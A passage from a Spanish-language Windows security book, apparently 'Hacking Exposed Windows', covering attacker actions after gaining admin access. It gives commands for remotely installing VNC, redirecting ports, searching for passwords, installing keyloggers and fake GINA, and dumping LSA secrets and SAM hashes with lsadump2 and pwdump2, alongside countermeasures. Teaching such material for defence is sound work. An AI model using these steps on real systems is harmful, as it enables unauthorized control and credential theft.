dos en un destino, para los verdaderos fanáticos de Windows, eso sólo es la mitad del reto. El
objetivo máximo de cualquier verdadero hacker de Windows es ganar control completo de GUI
sobre el sistema, tomando de manera efectiva el control como si estuvieran sentados directa-
mente en el teclado del sistema remoto.
La manera más obvia de ganar una GUI remota es hacer esto en un sistema que ya tiene ser-
vicios de host que permiten control remoto. En la funcionalidad de administración remota grá-
fica de Microsoft integrada, Terminal Services, los datos gráficos se transfieren entre el cliente y
el servidor de Terminal Services mediante el protocolo de escritorio remoto (RDP, Remote Des-
ktop Protocol), que opera sobre el puerto TCP 3389 como opción predeterminada (aunque es
muy trivial cambiar este puerto utilizando la configuración publicada en HTTP://support.mi-
crosoft.com/kb/187623). Describimos algunas herramientas y técnicas para usurpar Terminal
Services en el capítulo 5.
Aunque Terminal Services no se esté ejecutando en el sistema de destino, si el atacante tiene
acceso remoto al sistema, es posible para él instalar e iniciar Terminal Services (RDP) sobre WMI
remotamente. (Para conocer más sobre el uso de WMI, consulte “Referencias y lecturas adicio-
nales”).
07_SCAMBRAY_07.indd 194 7/28/08 9:04:24 PM

Una de las mejores técnicas no nativas que conocemos para control gráfico remoto usa Vir-
tual Network Computing (VNC), originalmente de AT&T Research Laboratories en Cambridge,
Inglaterra, y ahora comercializado por RealVNC (www.realvnc.com). El programa VNC es una
aplicación de control remoto ligera y muy funcional. La ejecución remota de VNC requiere al-
gún trabajo manual, pero los frutos del trabajo pueden ser estimulantes.
Antes que nada, asegúrese de que su recurso compartido administrativo aún está intacto y
de tener una shell de línea de comandos ya establecida en el sistema remoto. Luego siga estos
pasos:
1. Cree el siguiente archivo y nómbrelo winvnc.ini. (Esto establecerá su contraseña en
secret para conectarse con VNC de manera segura).
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cb06e
2. Copie los siguientes archivos al sistema de destino:
C:\>copy regini.exe d:\windows\system32
C:\>copy winvnc.ini d:\windows\system32
C:\>copy winvnc.exe d:\windows\system32
C:\>copy vnchooks.dll d:\windows\system32
C:\>copy omnithread_rt.dll d:\windows\system32
3. Actualice el Registro con su configuración de winvnc.ini:
C:\>regini –m \\192.168.0.5 winvnc.ini
4. De la línea de comandos de sistema remoto, instale el servicio winvnc.
Remoto C:\>winvnc –install
5. Inicie el servicio:
Remoto C:\>net start winvnc
6. Desde su sistema, inicie la aplicación vncviewer que viene con la distribución y señala
a su destino, 192.168.0.5:0 (el 0 es para el despliegue). Escriba la contraseña secret y
debe tener control de GUI completo, como si estuviera sentado ante la máquina física.
Si desea usar la versión de Java de la GUI, puede conectarse con su explorador al
puerto 5800:
http://192.168.0.5:5800
07_SCAMBRAY_07.indd 195 7/28/08 9:04:24 PM

Redireccionamiento de puerto
Popularidad: 6
Simplicidad: 8
Impacto: 9
Hemos analizado varias técnicas utilizadas para obtener control interactivo remoto de un
sistema de Windows. Sin embargo todas se han basado en el requisito previo de las conexiones
directas. En muchos casos, simplemente no es posible tener una conexión directa en un sistema,
y debe idearse un método más indirecto. Éste es el trabajo de los redirectores de puerto.
Una vez que un atacante compromete un destino, puede usar las herramientas de redireccio-
namiento de puertos para reenviar paquetes a un destino específico más allá de una firewall.
Básicamente, esa técnica convierte una firewall en un tope de puerta. En esencia, los redirectores
de puertos mueven las actividades de un puerto a otro. Un buen ejemplo de esto es cuando una
firewall permite todos los puertos arriba de 1024 en la red de destino, pero bloquea a los puertos
del sistema de Windows 139 y 445 (los que el atacante realmente quiere). Así que una vez que ya
está comprometido un sistema detrás de la firewall con una explotación Web o un error de Sola-
ris, el atacante puede configurar un redirector de puerto para redireccionar el tráfico de un puer-
to, digamos el 2000, al puerto real que quiere, digamos el 139:
07_SCAMBRAY_07.indd 196 7/28/08 9:04:26 PM

Este tipo de ataque permite a un atacante tener acceso a cualquier sistema detrás de una fire-
wall.
Uno de nuestros redirectores de puertos favoritos para los sistemas Windows es fpipe, un
redirector TCP de Foundstone, Inc. El programa funciona de manera muy parecida a los tradi-
cionales redirectores de puertos con una diferencia importante: el atacante puede especificar una
dirección de puerto de origen. El hecho de establecerla le permite al atacante definir estática-
mente el puerto de origen en algo que permita la firewall entre el atacante y su destino. Por ejem-
plo, el atacante puede encontrar una firewall que permita el tráfico si el puerto de origen es el
TPC 20. Eso puede ser una mala configuración de firewall común, porque el puerto TCP 20 se
requiere para que funcione el tráfico FTP saliente. Además, en varias versiones anteriores a Vis-
ta, la implementación de Windows IPSec permite el tráfico con un puerto de origen de TCP/
UDP 88, además de todo el tráfico de transmisión que pase a los filtros IPSec, como opción pre-
determinada (consulte el artículo 810207 de la base de conocimientos de Microsoft). Fpipe puede
usarse para ataques de origen a sistemas protegidos por IPSec si no se ha cambiado esta confi-
guración predeterminada.
Contramedidas ante el control remoto

Si un atacante tiene credenciales administrativas en un sistema, no puede hacer mucho para im-
pedirle que ejerza ese control de manera remota, más allá de simplemente eliminar el acceso re-
moto de red a todo el sistema. Por ejemplo, la eliminación del acceso a NetBIOS sobre el puerto
TCP/IP (TCP 139) o a SMB sobre el puerto TCP (TCP 445) puede mitigar el control interactivo
remoto que utiliza herramientas como PsExec, que requiere que esos servicios operen. De mane-
ra más amplia, siempre es bueno asegurar que las reglas de su firewall no permiten comunica-
ciones no autorizadas (por ejemplo, el protocolo RDP de Microsoft Terminal Services, TCP 3389)
para host confidenciales.
Para determinar si alguien tiene control “remoto” sobre su sistema local, puede usar la herra-
mienta netstat integrada para ver si puede identificar servicios de escucha falsos (¡o conectados!).
La herramienta Vision de Foundstone también es excelente para esto y ofrece la capacidad de ma-
tar procesos posiblemente falsos desde la GUI. La herramienta PipeList de Sysinternal es buena
para desplegar todas las canalizaciones con nombre que se están usando en un sistema, revelan-
do conexiones de PsExec y otras sesiones remotas mediante canalizaciones con nombre.
Además, comandos nativos de XP, Windows 2003 y superiores pueden ser útiles para deter-
minar si algo ha sucedido; sin embargo, debe tener cuidado porque esas herramientas, si se eje-
cutan en el sistema al que se ha penetrado, tal vez se hayan reemplazado con herramientas que
contienen caballos de Troya o las DDL que usan. Entre los comandos pueden incluirse, pero no
están limitados a, NET.EXE,NETSTAT.EXE con nuevas opciones y TASKLIST.EXE.
Si es una las personas desafortunadas que encuentra un intruso en su sistema, puede matar
la conexión del atacante y luego eliminar el programa ofensor. Por ejemplo, WinVNC puede eli-
minarse utilizando los siguientes comandos:
C:\>net stop winvnc

C:\>winvnc –remove
C:\>reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\WinVNC
07_SCAMBRAY_07.indd 197 7/28/08 9:04:27 PM

Minado de datos del sistema

Popularidad: 9
Simplicidad: 5-8
Impacto: 9
Uno de los siguientes pasos que un atacante tomará una vez que se obtenga acceso adminis-
trativo consiste en minar el sistema para obtener datos confidenciales que pudieran llevar a ma-
yor compromiso. Pueden usarse numerosas técnicas para minar estos datos:
• Búsqueda de archivos
• Registro de tecleos
• Pantallas de inicio de sesión con caballos de Troya
• Olfateo de paquetes
Cada una de ellas se analiza en las siguientes secciones.
Búsqueda de archivos
Con una shell de comandos de Windows, un atacante usará las herramientas nativas del sistema
operativo o subirá las propias. Entre las herramientas nativas de Windows que se prestan para
usos nefastos se incluyen dir,find y findstr.
Los comandos dir y find son muy primitivos en relación con findstr, que compite con
la legendaria utilería de UNIX grep. Su belleza está en la versatilidad. Por ejemplo, el programa
puede revisar el principio (/B) o el final (/E) de la línea sólo en busca de la cadena. Con frecuen-
cia la usamos para su característica de búsqueda de subdirectorios (/S). En el siguiente ejemplo,
usamos findstr para revisar todas las hoja de cálculo de Excel (.xls) de la unidad C: para bus-
car la palabra nómina:
C:\>findstr /s "nomina" *.xls
Por último, varios comercializadores hacen versiones gratuitas para Windows de herramien-
tas populares de UNIX como grep, sed, awk y otras. Varias de esas herramientas se incluyen en
el kit de recursos de Windows, incluida grep.exe. Además, comercializadores de software como
Mortice Kern Systems, Inc. (MKS) y Cygwin ofrecen herramientas de UNIX portadas a la plata-
forma de Windows. Cualquier profesional de seguridad serio que trabaje en Windows debe te-
ner esas herramientas en su kit.
Para usar grep en un sistema remoto, sólo cargue el archivo al directorio de su elección y es-
criba lo siguiente:
C:\>grep "contraseña" *.*
Esto buscará en todos los archivos del directorio actual la palabra contraseña.
07_SCAMBRAY_07.indd 198 7/28/08 9:04:28 PM

El equivalente gráfico de estas herramientas de línea de comandos es el simple uso de su vi-

sor de directorios favorito, como el Explorador de Windows o la propia característica de búsque-
da de Windows. Resulta trivial asignar una unidad al equipo de destino (H:) y luego buscar en
toda la unidad archivos con ciertas palabras clave.
Más recientemente, con la proliferación de clientes de búsqueda de escritorio que indizan de
manera pasiva todas las unidades de disco, la realización de tales búsquedas se ha vuelto mucho
más fácil. Por esta razón, los atacantes buscarán servicios de ancho de banda como Google Des-
ktop, MSN/Windows y utilerías similares. Windows Vista integra búsquedas en casi cada IU del
sistema operativo, desde el menú Inicio hasta el Explorador de Windows predeterminado.
Registro de tecleos
Si ninguno de los pasos anteriores lleva a alguna información jugosa, o ninguno puede utilizar-
se como apoyo para obtener acceso más profundo en la red, un atacante tratará de poner un re-
gistrador de tecleos en el sistema que olfatee las contraseñas del teclado. La premisa es simple:
tarde o temprano alguien del sistema afectado iniciará una sesión en otro sistema u otro dominio
de Windows, y el registrador de tecleos capturará las credenciales de usuario.
Los registradores de tecleos suelen ser muy sigilosos porque casi siempre se ubican entre el
hardware del teclado y el sistema operativo, en un nivel de kernel, registrando cada tecleo. Hoy
en día existen numerosos registradores de tecleos de Windows. Uno que hemos usado con fre-
cuencia es Invisible Keylogger Stealth (IKS) (consulte “Referencias y lecturas adicionales”). Este
producto se instala como un controlador de dispositivo de bajo nivel, de modo que siempre se
está ejecutando y puede capturar aun la secuencia ctrl+alt+supr y las contraseñas para inicio
de sesión en el propio sistema.
Además, IKS está construido para instalación remota (las instrucciones se encuentran en el
archivo readme). La única desventaja es que el sistema de registro de tecleos puede reiniciarse
antes de que el controlador del dispositivo pueda empezar a olfatear los tecleos. Por supuesto,
esto puede hacerse muy fácilmente suponiendo que se ha implementado uno de los mecanismos
de control remoto interactivos analizados antes en este capítulo. Existen numerosos registrado-
res de tecleo; todos ellos usan diferentes métodos para obtener información capturada para el
atacante (algunos ejemplos incluyen archivos de texto cifrados locales, canales de comunicación
a través de SMTP y HTTP). Una vez más, son válidos los “beneficios” del uso del texto cifrado y
oscurecido en comparación con el texto simple para proteger los datos.
Inicio de sesión con caballos de Troya

La identificación y autorización gráficas (GINA, Graphical Identification and Authorization) es
el intermediario entre el usuario y el sistema de autentificación de Windows en versiones ante-
riores a Vista. Cuando arranca su equipo y la pantalla le pide que escriba ctrl+alt+supr para
iniciar sesión, he ahí a GINA en acción. Por supuesto, debido a la naturaleza familiar de GINA,
muchos hackers le han puesto mucha atención a la inserción de código malicioso entre el usuario
y el sistema operativo para capturar contraseñas.
Un problema con algunas GINA personalizadas de ejemplo es que cuando los administrado-
res agregan nuevos parches al sistema podrían causar problemas de inestabilidad debido a que
tienen componentes, en este caso GINA personalizados, que no son proporcionados por el co-
mercializador original.
07_SCAMBRAY_07.indd 199 7/28/08 9:04:29 PM

Por ejemplo, FakeGINA, de Arne Vidstrom, de Ntsecurity.nu (consúltese la sección “Refe-

rencias y lecturas adicionales”) intercepta solicitudes de comunicación entre Winlogon y GINA,
capturando el nombre de usuario y la contraseña de ctrl+alt+supr. Luego FakeGINA escribe
esos datos capturados en un archivo de texto. Resulta relativamente fácil instalar FakeGINA
desde el sistema del hacker remoto, con la capacidad de editar el Registro y reiniciar el sistema
de manera remota.
En Windows Vista, el modelo GINA fue descontinuado y reemplazado por el modelo más
poderoso del proveedor de credenciales. Este nuevo modelo es extensible y se basa en la tecno-
logía COM.
Es posible interceptar datos enviados a uno de los proveedores de credenciales predetermi-
nados al crear un proxy COM que se ubique entre el proveedor de credenciales original y el
usuario. Debido a que en Internet se pueden localizar varios ejemplos de la manera de lograr
esto, aquí no iremos más a fondo en el tema. (Consulte la sección “Referencias y lecturas adicio-
nales” para conocer más información).
También es posible acceder a los datos de autentificación al agregar extensiones al subsiste-
ma de autoridad de seguridad local (LSA, Local Security Authority), como proveedores de red,
DLL de complejidad de contraseñas, etc. Una contramedida para hackear el subsistema LSA es
bloquear el acceso de escritura de ACL a ciertas claves del Registro. He aquí un ejemplo:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order

ProviderOrder No se necesita cambiar ACL No se hace referencia debido a cambios en
ACL
Olfateo de paquetes
“Olfatear” paquetes de la red durante la autentificación normal es una de las maneras más efec-
tivas de obtener nombres de usuario y contraseñas. Esto es posible porque muchos protocolos
de red comunes (como telnet y FTP) no implementan cifrado y, por tanto, pasan credenciales en
la red en texto simple.
Tal vez una de las herramientas comerciales más populares para el análisis general de pa-
quetes es el Sniffer Pro, de prueba y error, de Network Associates, Inc. (ahora Network General).
La primera versión de línea de comandos ha sido la base de muchos kits de herramientas de
administradores de red, y su producto de Windows extendió rápidamente su dominio. Un ana-
lizador de paquetes de línea de comandos de Windows muy popular es la herramienta gratuita
Snort.
Por lo general, los hackers usan varias utilerías a fin de escuchar nombres de usuario y con-
traseñas en el tráfico de red, y para extraerlos de él. La aplicación de dsniff original la escribió
Dug Song para UNIX. Dsniff es uno de los motores de captura de paquetes mejor escritos de que
se dispone. Analiza automáticamente diversas aplicaciones y recupera sólo el nombre de usua-
rio y las contraseñas de cada una. El puerto inicial Win32 de dsniff lo escribió Mike Davis. El
puerto Win32 no incluye muchas de las utilerías encontradas en la versión de UNIX, como ar-
predirect, pero realiza las funciones necesarias para olfatear contraseñas.
07_SCAMBRAY_07.indd 200 7/28/08 9:04:30 PM

Wireshark es una herramienta sorprendente de olfateo de plataforma cruzada. Viene en ver-

siones gráficas y de línea de comandos. La herramienta gráfica se incluye con decodificadores de
protocolos que son muy amplios y actualizados. La versión de línea de comandos se denomina
tethereal, y requiere que el controlador Winpcap esté instalado en el sistema remoto. Use el in-
terruptor –n no documentado para ejecutar tethereal sin resolución de nombres (esto mejora de
manera importante el rendimiento, porque no trata de resolver automáticamente todos los nom-
bres de host de las direcciones que encuentra en la red). En la actualidad, Wireshark no analiza
automáticamente los paquetes ni extrae los datos de autentificación como casi todas las herra-
mientas que hemos mencionado aquí, pero aún nos encanta esta herramienta.
Contramedidas ante el minado de datos

Al igual que con casi todos los ataques analizados en este capítulo, la mejor contramedida con-
siste en evitar, en primer lugar, que un atacante obtenga privilegios administrativos en su siste-
ma. Si un hacker ya ha obtenido estos privilegios en su sistema, su mejor recurso consiste en
restaurar a partir de copias de seguridad confiables.
También recomendamos que lea el capítulo 8 para aprender cómo descubrir el software sigi-
loso en su sistema. Un tema interesante que hemos encontrado es la necesidad de reiniciar los
sistemas de las víctimas después de que se han instalado herramientas de hacker de bajo nivel
(como controladores de registrador de tecleos y falsas GINA). Una buena higiene de vigilan-
cia de registro de sucesos debe capturar reinicios no programados como éste. Sin embargo, la
falta de reinicios no debe considerarse como prueba de que no se ha instalado una GINA falsa u
otro tipo de herramientas.
La única verdadera contramedida ante el olfato de red es el uso de tecnología de cifrado
como shell segura (SSH, Secure Shell), la capa de conexiones seguras (SSL, Secure Sockets La-
yer), correo electrónico seguro mediante muy buena privacía (PGP, Pretty Good Privacy) o cifra-
do de capa IP como la proporcionada por los productos desde VPN basados en IPSec. Es la
única manera sólida y rápida de combatir los ataques de olfateo.
El uso de autentificación de paquetes IPSec y de cifrado es efectivo para reducir la capaci-
dad de los intrusos a fin de obtener acceso al tráfico de red. Por otra parte, un atacante puede
tratar de hacer diferentes ataques de intermediario a estos protocolos; en este juego del gato y el
ratón, el usuario tiene que verificar que un extremo (donde “termina” la comunicación) es quien
dice ser. Esto puede lograrse al verificar los certificados, utilizando huellas de SSH y varias otras
medidas.
EXTRACCIÓN DE CONTRASEÑAS
Una vez que se obtiene acceso de administrador, el atacante por lo general tratará de hurtar con-
traseñas adicionales de su sistema. Al recolectar contraseñas, está recolectando de manera efec-
tiva llaves de varias puertas dentro del entorno Windows. Una nueva contraseña ofrece posible
acceso a otro componente del sistema, como la base de datos SQL, el archivo de nómina de Ex-
cel, el directorio de administradores Web y otros componentes identificados durante el minado
de datos.
07_SCAMBRAY_07.indd 201 7/28/08 9:04:31 PM

Además, esas contraseñas pueden usarse para obtener acceso a otros sistemas y entornos de
la red, incluidos dominios de Windows, instancia de SQL Server, servidores de colaboración
de Microsoft Office (Exchange, SharePoint, etc.) puertas de enlace SNA, interfaces de adminis-
tración de aplicaciones Web y otros destinos jugosos. Si, por ejemplo, un atacante tiene la posi-
bilidad de lograr acceso administrativo a un cliente de escritorio de Windows XP e identifica un
servicio local que se ejecuta en el contexto de un usuario de dominio privilegiado, podría tener
la capacidad de extraer las credenciales incluidas de la caché local, lo que llevaría al compromiso
de todo el dominio de Windows. En nuestra experiencia de prueba profesionales de penetracio-
nes, ésta es la línea de investigación más lucrativa para atacantes maliciosos, porque el reciclaje
de contraseña suele estar muy extendido en los entornos distribuidos grandes, gracias a la inca-
pacidad básica humana para recordar más allá de cinco o seis contraseñas complejas a la vez.
Pueden usarse varios métodos para almacenar contraseñas en el sistema. Revisaremos cada
lugar en que esas contraseñas se almacenan y los mecanismos usados para obtenerlas.
Volcado de LSA
Popularidad: 9
Simplicidad: 9
Impacto: 9
La memoria caché de LSA ha estado disponible para técnicas de volcado de contraseñas en

texto simple, desde Windows NT 4.0 (suponiendo que el atacante está registrado como adminis-
trador o equivalente). Técnicas similares aún funcionan en Vista, pero requieren privilegios de
SISTEMA.
Esta vulnerabilidad demuestra definitivamente el peligro de almacenar credenciales en el
registro de los sistemas de Windows, sobre todo si el almacenamiento está localizado en los lu-
gares donde se necesitan privilegios inferiores para tener acceso. Al revisar el área LSA Secrets
del Registro, un atacante puede ver lo siguiente:
• Contraseñas de cuentas de servicio de Windows en texto simple (básicamente).

Esas contraseñas están oscurecidas con un algoritmo simple y pueden usarse para
comprometer un sistema interno en otro dominio.
• Contraseñas en texto simple de usuario Web y FTP.
• Contraseñas de cuenta de equipos para acceso de dominio.
• Hashes de contraseñas incluidas en caché de los últimos 10 usuarios (o más) que han
iniciado sesión.
07_SCAMBRAY_07.indd 202 7/28/08 9:04:31 PM

Paul Ashton publicó la idea original para la explotación de LSA Secrets en la lista de correos
NT Bugtraq en 1997. Una herramienta basada en este concepto la escribió el Razor Team y está
disponible en línea: se le denomina lsadump2 y está disponible en www.bindview.com/servi-
ces/razor/utilities/. Lsadump2 usa la misma técnica que pwdump2 para inyectar sus propias
llamadas a función DLL bajo el privilegio del proceso del servicio de subsistema de autoridad de
seguridad local (LSASS, Local Security Authority Subsystem Service). Otra herramienta que
puede volcar la misma información es Cain & Abel.
A continuación se encuentra la metodología típica empleada por un atacante.
1. El atacante obtiene primero una conexión administrativa o superior con el destino e

inicia una shell remota.
2. El atacante carga los archivos lsadump2.exe y lsadump.dll en la unidad del sistema
remoto.
3. Ahora el atacante puede ejecutar el comando lsadump2 para volcar las credenciales:
C:\>lsadump2
…
D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV
39 FD 26 E5 03 4C 89 47 89 0C AE 60 37 DD FE 15 9.&..L.G...`7...
DPAPI_SYSTEM
01 00 00 00 ED 83 60 9F CB 9D 0A EE FB F8 08 6A ......`........j
70 35 AE 66 51 A6 1A EB D7 64 4D B3 4D CB 4E 98 p5.fQ....dM.M.N.
C8 E4 9C DE 72 79 7D C9 6D 4E 10 E5 ....ry}.mN..
L$BETA3TIMEBOMB_1320153D-8DA3-4e8e-B27B-0D888223A588
00 80 85 26 6A 9A C3 01 ...&j...
_SC_MSSQLServer
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 2.h.a.p.p.y.4.m.
_SC_SQLServerAgent
32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 2.h.a.p.p.y.4.m.
Al final de este listado hay dos cuentas de servicios de SQL y sus contraseñas relacionadas. Un
atacante puede usar esta contraseña, 2happy4m, para obtener acceso extendido a la red y sus re-
cursos.
Versiones más antiguas de lsadump2 requerían que primero identificara el ID del proceso LSASS.
NOTA
Esto ya no es necesario en la versión actualizada, que realiza automáticamente esta función.
Como Microsoft desarrolló diferentes sistemas de protección para versiones de Windows XP

(y más recientes), algunas de las herramientas antiguas como lsadump2 tal vez no funcionen
bien directamente, sino que necesiten privilegios más elevados o pequeñas modificaciones. Los
sistemas de protección de ejecución de datos (DEP, Data Execution Protection), por ejemplo, re-
quieren pequeños cambios al código de esas herramientas más antiguas. He aquí un ejemplo,
empezando con el fragmento de código original de lsadump2.c:
MEM_COMMIT, PAGE_READWRITE);
Y he aquí otro ejemplo con sistemas DEP:
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
07_SCAMBRAY_07.indd 203 7/28/08 9:04:32 PM

Un vínculo con más cambios se publicó en listas de correos en 2005, y el vínculo a la pu-
blicación Full-Disclosure se incluyó en “Referencias y lecturas adicionales”, al final de este capí-
tulo. Lsadump2 también puede modificarse para que funcione en Windows Vista y Windows
2008, y los cambios al código suelen ser los mismos que los descritos en pwdump2, un poco más
adelante en este capítulo (consulte “Volcado de contraseñas de SAM y AD”).
Otra área de interés son las contraseñas de dominio incluidas en caché. Como opción prede-
terminada, Windows almacena en caché a los últimos 10 usuarios que han iniciado sesión inter-
activamente. En Windows Server 2008, el valor predeterminado de inicios de sesión almacenados
(al momento de escribir esto) era de 25. El almacenamiento se realiza al desordenar el hash de la
credencial, lo que significa que es posible el descubrimiento, pero más lento de lo que sería a
partir de hashes de contraseñas obtenidos de otra manera. La inclusión en caché de los inicios de
sesión es necesaria porque cuando la máquina no está conectada a la red, como cuando el usua-
rio está viajando o cuando la máquina no puede resolver servidores de autentificación, el acceso
al verificador debe estar disponible para que los administradores o los técnicos otorguen inicio
de sesión al equipo para mantenimiento. Una de las primeras herramientas públicas para des-
cubrir contraseñas de dominio en caché fue CacheDump, que puede encontrarse en Internet.
Puede depender de herramientas como Cain & Abel u otras que hacen lo mismo.
Contramedidas ante LSA Secrets

Debido a que lsadump2 requiere el privilegio SeDebug que, como opción predeterminada, sólo
se otorga a administradores, Microsoft considera que esto es el área de un administrador de con-
fianza. Así, Microsoft lo toma como una característica y, por ello, se han presentado pocas
contramedidas. La única de éstas que resulta real en este escenario (aparte de evitar que un ata-
cante tenga acceso de administrador) consiste en evitar el uso de servicios con contraseñas (lo
que sabemos que no es algo muy realista). O podría endurecer, en primer lugar, el sistema para
limitar los daños hechos rápidamente por los atacantes.
Para mitigar el posible daño producido por el volcado de los hashes de contraseña de domi-
nio que se encuentran almacenados en caché, es una buena práctica establecer la cantidad de
inicios de sesión en caché a 1. Esto sigue permitiendo que el inicio de sesión quede en caché para
el usuario, pero reduce el número de cuentas que puede atacarse mediante este mecanismo des-
de la opción predeterminada que es de 10 (o de 25 en Server 2008). Esto puede establecerse me-
diante la siguiente entrada del Registro:

CachedLogonsCount REG_SZ 1
Extracción de datos del servicio Almacenamiento protegido

El servicio Almacenamiento protegido es una interfaz de programación de aplicaciones (API,
Application Programming Interface) diseñada para almacenar información de manera segura.
Los datos dentro del almacenamiento protegido están cifrados en Triple DES con una clave uni-
da a las credenciales de Windows del usuario y son accesibles de manera transparente para to-
dos los programas que se ejecutan en el contexto del usuario.
07_SCAMBRAY_07.indd 204 7/28/08 9:04:33 PM

Entre las aplicaciones que usan el servicio Almacenamiento protegido, se incluyen ciertas
versiones de Outlook, Outlook Express, MSN Explorer e Internet Explorer versiones 4 a 6. A par-
tir de IE 7, los datos confidenciales usan, en cambio, la API Protección de datos.
Protected Storage PassView de NirSoft es una herramienta capaz de extraer datos del Alma-
cenamiento protegido del usuario que está iniciando sesión, como se muestra en la figura 7-1.
Introducción al uso de credenciales de aplicación y la DPAPI

La interfaz de programación de aplicaciones para protección de datos (DPAPI, Data Protection
Application Programming Interface) es un conjunto de funciones basadas en el sistema operati-
vo que proporcionan cifrado de datos y protección ante modificaciones. La parte pública de la
API se implementa como parte de la CryptoAPI y está disponible para todos los procesos que se
ejecutan como parte de crypt32.dll. La parte privada de la API sólo está disponible para subpro-
cesos que se ejecutan dentro del proceso LSASS.
Figura 7-1 PassView de NirSoft extrae datos del almacenamiento protegido del usuario que inició
sesión
07_SCAMBRAY_07.indd 205 7/28/08 9:04:33 PM

El DPAPI puede utilizarse para proteger datos en memoria y también fuera de línea. Las fun-
ciones usadas para cifrar datos son CryptProtectData y CryptProtectMemory. Las funcio-
nes de descripción correspondientes son CryptUnprotectData y CryptUnprotectMemory.
El cifrado de datos puede ser de todo el sistema o del usuario específico, lo que significa que
todos los usuarios de un sistema específico pueden descifrar los datos o sólo el usuario específi-
co que los cifró. Cuando cifra los datos para un usuario específico, DPAPI utiliza la contraseña
con que el usuario inició la sesión para asociar el cifrado con un usuario específico. El usuario
nunca observa esto porque el sistema usa transparentemente la contraseña. Una aplicación que
llama a las funciones de cifrado de la DPAPI envía datos en texto simple a DPAPI y, a cambio,
recibe un BLOB de datos protegidos. El descifrado se hace a la inversa, al pasar el BLOB de datos
a la función de descifrado y recibir, a cambio, los datos en texto simple.
Sin embargo, el uso de la contraseña del usuario que inició sesión no es suficiente para
proteger los datos de otros procesos que se ejecutan en el mismo contexto de usuario. Las fun-
ciones de DPAPI también aceptan una frase de contraseña adicional o entropía, que se requerirá
para descifrar con éxito los datos. Ejemplos de aplicaciones que usan la DPAPI para almace-
nar de manera segura los datos confidenciales son el cliente de conexión remota de escritorio
e IE 7.
Recuperación/volcado de contraseñas en Internet Explorer 7

Como se mencionó, IE 7 usa un método diferente para almacenar contraseñas. Las contraseñas
de autocompletar se almacenan en el Registro usando el URL como clave de cifrado, lo que hace
necesario conocer el URL para recuperar con éxito las contraseñas de autocompletar.
Las credenciales guardadas para sitios Web se almacenan utilizando DPAPI en el mismo ar-
chivo usado para almacenar contraseñas de red cuando se usa la API de administrador de cre-
denciales (que se analiza con mayor detalle en la siguiente sección).
Ambas categorías de contraseñas puede recuperarse utilizando la herramienta IE PassView
de NirSoft (figura 7-2). La herramienta requiere acceso administrativo al sistema y que la histo-
ria del explorador contenga URL que puedan usarse como claves para contraseñas de autocom-
pletar.
Acceso al administrador de credenciales

La API del administrador de credenciales se introdujo por primera vez en Windows XP. Propor-
ciona un método para aplicaciones y el sistema operativo para asociar credenciales adicionales
con una cuenta de usuario de Windows. El administrador de credenciales en Windows XP se
utiliza para proteger dos tipos de credenciales: de dominio y genéricas. El sistema operativo uti-
liza las credenciales de dominio para establecer, por ejemplo, conexiones de red de manera trans-
parente. Las credenciales genéricas están diseñadas para que las usen aplicaciones que realizan
autentificación de manera directa, en lugar de depender de las funciones de autentificación pro-
porcionadas por el sistema operativo.
Una herramienta capaz de extraer datos almacenados con la API de administración de cre-
denciales es Network Password Recovery de NirSoft (figura 7-3).
07_SCAMBRAY_07.indd 206 7/28/08 9:04:34 PM

Figura 7-2 IE PassView de NirSoft extrae los datos almacenados en IE 7
Figura 7-3 Network Password Recovery extrae datos del administrador de credenciales
07_SCAMBRAY_07.indd 207 7/28/08 9:04:35 PM

Extracción de contraseñas almacenadas

Popularidad: 5
Simplicidad: 8
Impacto: 6-9
La directiva de seguridad local que establece Almacenar contraseñas usando cifrado rever-
sible (en la sección Directiva de contraseñas de Directivas de cuenta) sólo es aplicable a contro-
ladores de dominio de Active Directory (AD). Como opción predeterminada, esta configuración
está deshabilitada, lo que significa que las contraseñas no están almacenadas con cifrado rever-
sible (lo que es algo bueno). Sin embargo, si alguien habilita esta configuración, provocará que
todas las nuevas contraseñas se almacenen en SAM/AD (Security Accounts Manager/AD, ad-
ministrador de cuentas de seguridad/AD) en su forma de hash como es normal, y también en un
formato aparte, con cifrado reversible. A diferencia de los hashes de una vía, este formato sólo puede
revertirse a una contraseña en texto simple si se conoce la clave de cifrado.
¿Por qué alguien querría habilitar esto? Resulta que ciertos protocolos y servicios de auten-
tificación remota, como MSChap v1, Digest Authentication, AppleTalk Remote Access y los ser-
vicios de autentificación de Internet (IAS, Internet Authentication Services, que es en esencia
RADIUS) requieren esta configuración. Así que si un atacante compromete un controlador de
dominio, de inmediato revisará esta configuración; si está habilitada, ¡ejecutará una herramienta
para volcar las contraseñas en texto simple de cada uno de los miembros del dominio! En la ac-
tualidad, no existen herramientas disponibles públicamente para realizar esta tarea, pero debe
ser simple construirla empleando API documentadas en forma amplia.
Volcado de contraseñas de SAM y AD

Popularidad: 9
Simplicidad: 9
Impacto: 9
Volcar contraseñas del Registro puede ser un ejercicio trivial. Por supuesto, con Windows
2003, la tarea no es completamente trivial, porque el sistema usa la función syskey para aplicar
cifrado sólido a la base de datos de SAM o AD. Esto significa que los nombres de usuario y las
contraseñas del sistema están cifradas con cifrado de 128 bits, lo que hace casi imposible descu-
brirlos. Pero aún es posible obtener esos hashes cifrados mediante el uso de la herramienta
pwdump2 modificada por Todd Sabin. (Consulte “Referencias y lecturas adicionales”). Otra
adición consiste en parchar estas herramientas para que acepten historia de volcado de contra-
señas de los usuarios, lo que también puede aumentar la probabilidad de más acceso en la red,
porque los usuarios tienden a reciclar contraseñas.
La técnica genérica utilizada para obtener los hashes es la misma en todas las versiones del
sistema operativo Windows. Varias herramientas usan diferentes vectores para lograr lo mismo.
Pwdump2 usa una técnica llamada inyección de biblioteca dinámica de vínculos (DLL, Dynamic
Link Library). En esta técnica un proceso fuerza a otro a cargar una DLL adicional y luego ejecuta
código dentro de la DLL en el otro espacio de direcciones y el contexto del usuario del proceso.
07_SCAMBRAY_07.indd 208 7/28/08 9:04:36 PM

Para usar pwdump2, simplemente copie los dos archivos (pwdump2.exe y samdump.dll) en
el sistema remoto, y luego ejecute el comando pwdump2 de manera interactiva en el sistema re-
moto:
Remoto C:\>pwdump2
